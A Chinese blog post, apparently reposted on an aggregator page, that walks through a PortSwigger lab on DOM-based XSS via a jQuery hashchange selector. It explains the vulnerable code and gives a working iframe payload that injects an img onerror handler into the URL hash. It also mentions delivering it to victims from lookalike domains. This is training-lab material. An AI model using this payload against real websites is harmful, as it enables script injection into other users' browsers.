首页 > 其他分享 >burpsuite靶场----XSS----DOM型XSS4----hashchange

burpsuite靶场----XSS----DOM型XSS4----hashchange

时间:2023-08-19 15:33:20浏览次数:58  
标签:XSS hash DOM URL window ---- hashchange

burpsuite靶场----XSS----DOM型XSS4----hashchange

靶场地址

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-selector-hash-change-event

XSS字典

链接:https://pan.baidu.com/s/1XAJbEc4o824zAAmvV85TOA
提取码:1234

正式开始

1.查看html源码,找到可能存在xss的地方

                        $(window).on('hashchange', function(){
                            var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
                            if (post) post.get(0).scrollIntoView();
                        });

这段代码使用了jQuery的$(window).on('hashchange', function(){})语法,表示在浏览器窗口的URL哈希部分发生变化时执行其中的代码
执行的代码是什么呢,
section.blog-list h2是选中section标签内的所有h2元素,
contains是过滤器,用来选定包含指定文本的元素,这里要选定decodeURIComponent(window.location.hash.slice(1))的返回值,为URL的hash部分,然后进行URL解码
如果满足了条件,就会滑动到第一个匹配元素
2.现在点击Go to exploit server


3.分析官方给的payload

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onl oad="this.src+='<img src=x one rror=print()>'"></iframe>

我这里是

<iframe src="https://0ad2006f04b6be0480423abb00b00051.web-security-academy.net/#" onl oad="this.src+='<img src=x one rror=print()>'"></iframe>

如果攻击者将这串代码保存在一段恶意链接发送给受害者,因为在https://0ad2006f04b6be0480423abb00b00051.web-security-academy.net/最后面多了'#',URL的hash值发生改变
满足了if(post)的条件,加载了恶意代码
<img src=x one rror=print()>
完成了任务
4.这里是点击deliver exploit to victim模拟将exp发送给受害者,显示生活中可以将恶意代码保存在自己的云服务器上,再使用和主站很像的域名,完成XSS攻击

标签:XSS,hash,DOM,URL,window,----,hashchange
From: https://www.cnblogs.com/thebeastofwar/p/17642531.html

相关文章

  • 2-09-Feign-性能优化
    所谓的性能优化实际就是关注两个点:日志+客户端实现日志优化客户端实现:Feign底层发起http请求,依赖于其它的框架。其底层客户端实现包括:URLConnection:默认实现,不支持连接池ApacheHttpClient:支持连接池OKHttp:支持连接池因此提高Feign的性能主要手段就是使用连接池代替默......
  • Asrock-Z690-PG-Reptide i5-13600kf电脑 Hackintosh 黑苹果引导文件
    硬件配置(需要下载请百度搜索:黑果魏叔)硬件型号驱动情况主板AsrockZ690PGReptide处理器i5-13600kfRaptorLake(Undervolted)已驱动内存2x16GbDDR43600ADATAXPG已驱动硬盘1TbNetacNV7000NVMEM2(PCI-e4.0)已驱动显卡RadeonRX6600PowerColorFighter8Gb已驱动声卡瑞昱......
  • 无涯教程-TensorFlow - 安装步骤
    要安装TensorFlow,在系统中安装"Python"非常重要。从TensorFlow安装开始,Python3.4+被认为是最好的选择。考虑以下步骤在Windows操作系统中安装TensorFlow。第1步 - 确认正在安装的python版本。第2步 - 用户可以选择任何机制在系统中安装TensorFlow。无涯教程建议使用......
  • JSON Web Tokens(JWT)
    JSONWebTokens(JWT)是一种用于身份验证和授权的开放标准。它可以在客户端和服务器之间安全地传输信息,并且非常适合以下场景:身份验证:JWT可以用于验证用户的身份。当用户登录后,服务器可以生成一个JWT并将其返回给客户端。客户端可以在后续的请求中将JWT作为身份验证凭证发送给服务器......
  • C语言函数(12)--- 递归(4)
    我们前一篇文章介绍了利用函数的递归来实现斐波那契数代码如下:#define_CRT_SECURE_NO_WARNINGS1#include<stdio.h>#include<windows.h>intFib(intn){ if(n<=2){ return1; } else{ returnFib(n-1)+Fib(n-2); }}intmain(void){ intn=0; intret=0;......
  • Excel中最后一列 iv列
    "IV1"是一个单元格引用,表示Excel中的一个特定单元格。在Excel中,列的标识是字母,从A开始逐渐增加,IV代表第256列。IV列通常用于存储大量数据,因为它是Excel中最后一列的标识。使用IV列可以容纳更多的数据,尤其是在需要处理大量数据的情况下。conta(b1:iv1)......
  • Vue 实现动态渲染 Element组件 Menu
    前言在学习Vue时,我们都会写关于管理系统的项目,在管理项目中,我们必然会处理菜单模块,通常我们会使用Element这个UI框架,但官方案例是静态数据,而在实际项目需求中,我们经常会实现多级菜单的动态渲染,今天我们实现这一需求,实现Vue动态菜单的渲染。正文部分一、动态数据格式动态......
  • Linux网络编程(epoll函数的使用)
    (文章目录)前言本篇文章我们讲解epoll函数的使用方法,epoll相比于poll来说性能方面有所提升和改进。一、epoll概念特点讲解epoll是Linux上一种高性能的多路复用机制,用于监视大量文件描述符并在它们就绪时通知应用程序。它是在select和poll的基础上进一步优化和改进而来......
  • [超详细] GraalVM打包含有JNI的本地镜像
    GraalVM是一种高性能、多语言通用虚拟机和编译器技术。它由Oracle开发并开源,旨在为不同的编程语言和应用场景提供统一的运行时环境和编译器平台。以下是GraalVM的一些主要特点和功能:多语言支持:GraalVM支持多种编程语言,包括Java、JavaScript(Node.js)、Python、Ruby、R、C......
  • 多线程 问答
    1、线程的状态或什么周期新建,就绪,运行,阻塞,销毁new,runnable,running,blocked,terminated java角度  2、java里面,wait和sleep的区别wait是object的方法,等待时会释放锁sleep是线程Thread的方法,睡眠时不会释放持有的对象锁,需要捕获异常。结束睡眠后,进入runnable状态。......